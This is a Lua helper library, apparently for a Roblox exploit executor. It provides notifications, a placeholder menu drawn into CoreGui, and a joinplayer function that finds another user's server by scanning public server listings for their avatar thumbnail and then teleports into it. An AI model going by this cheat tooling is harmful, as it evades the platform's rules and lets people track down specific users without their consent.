useless library

-- do not touch anything below this line
-- any changes will most likely break the script as there is a lot of delicate and shitty
--junk code that is probably most likely not needed
-- force of habit, i guess.
function notify(title,text)
    game.StarterGui:SetCore("SendNotification", {
        Title = title or "Notification",
        Text = text or "?",
        Button1 = "Ok"
    })
end
function joinplayer(args)
    function ToServer(User,PlaceId)
        if not pcall(function()
            local FoundUser, UserId = pcall(function()
                if tonumber(User) then
                    return tonumber(User)
                end

                return game:GetService("Players"):GetUserIdFromNameAsync(User)
            end)
            if not FoundUser then
                notify('Join Error','Username/UserID does not exist')
            else
                notify('Join Player','Loading servers. Hold on a second.')
                local res = game:HttpGet("https://www.roblox.com/headshot-thumbnail/json?userId="..UserId.."&width=48&height=48")
                local HttpURL = game:GetService("HttpService"):JSONDecode(res)
                local ThumbGrab = HttpURL["Url"]
                local Thumb = ThumbGrab
                local URL2 = ("https://www.roblox.com/games/getgameinstancesjson?placeId="..PlaceId.."&startindex=")
                local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2.."0"))
                local GUID
                for i = 0,Http.TotalCollectionSize do
                    local Http = game:GetService("HttpService"):JSONDecode(game:HttpGet(URL2..i))
                    for x,n in pairs(Http.Collection) do
                        for _,v in pairs(n.CurrentPlayers) do
                            if v.Thumbnail.Url == Thumb then
                                GUID = n.Guid
                            end
                        end
                    end
                end
                if GUID ~= nil then
                    notify('Join Player','Joining '..User)
                    game:GetService("TeleportService"):TeleportToPlaceInstance(PlaceId,GUID,game.Players.LocalPlayer)
                else
                    notify('Join Error','Unable to join user.')
                end
            end
        end)
        then
            if retries < 3 then
                retries = retries + 1
                print('ERROR retrying '..retries..'/3')
                notify('Join Error','Error while trying to join. Retrying '..retries..'/3.')
                ToServer(User,PlaceId)
            else
                notify('Join Error','Error while trying to join.')
            end
        end
    end
    ToServer(args[1],game.PlaceId)
end

local function create(classNm)
  local ins = Instance.new(classNm)
  return function(props)
    for prop, val in pairs(props) do
      ins[prop] = val
    end
    return ins
  end
end

function createMenuFrame(x1,x2,y1,y2,r,g,b,r2,g2,b2,gui,globalPosition)
    local F = {}
    local FrameMain = Instance.new('Frame',gui)
    FrameMain.Size = UDim2.new(x1,x2,y1,y2)
    FrameMain.BorderSizePixel = 0
    FrameMain.BackgroundColor3 = Color3.fromRGB(r,g,b)
    FrameMain.Position = UDim2.new(0,0,0,0)
    F["Main"] = FrameMain
    local TopBar = Instance.new('Frame',FrameMain)
    TopBar.Size = UDim2.new(1,0,.08,0)
    TopBar.BackgroundColor3 = Color3.fromRGB(r2,g2,b2)
    TopBar.Position = UDim2.new(0,0,0)
    TopBar.BorderSizePixel = 0
    F["TopBar"] = TopBar
    F.SetGlobalPosition = function(Position)
        F["Main"].AnchorPoint = Vector2.new(.5,.5)
        F["Main"].Position = Position
    end
    F.SetGlobalPosition(globalPosition)
    return F
end

function modManagementMenu()
    local gui = Instance.new('ScreenGui')
    if is_protosmasher_caller then
        gui.Parent = game.CoreGui
    else
        gui.Parent = game:GetService('Players').LocalPlayer.PlayerGui
    end
    local main = createMenuFrame(0,450,0,350,30,30,30,10,10,10,gui,UDim2.new(.5,0,-1.5,0))
    local label = create("TextLabel"){
        TextColor3 = Color3.new(1,1,1),
        BackgroundTransparency=1,
        Text = "Mod Management Menu",
        Parent = main.TopBar,
        Size = UDim2.new(1,0,1,0),
        TextScaled = true
    }
    local olb = create("TextLabel"){
        TextColor3 = Color3.new(1,1,1),
        BackgroundTransparency=1,
        Text = "bro sorry not done :(",
        Parent = main.Main,
        Size = UDim2.new(1,0,1,0),
        TextScaled = true
    }
    local frame = main.Main
    frame:TweenPosition(UDim2.new(0.5,0,.5,0),"InOut","Sine",1.3)
    wait(3)
    frame:TweenPosition(UDim2.new(0.5,0,-1.5,0),"InOut","Sine",1.3)
end

notify("Notification","Useless library loaded, 90% of the functions used here are skidded from IY.")
notify("Notification","This script is using Useless Library, created by Donikthur.")
if not is_protosmasher_caller then
    wait(1)
    notify("Warning","The exploit you are using is not supported. The only supported exploits can be viewed in the Mod Management Menu.")
end
modManagementMenu()

local Function = {
    joinplayer = joinplayer,
    notify = notify,
    createMenuFrame = createMenuFrame
}
return Function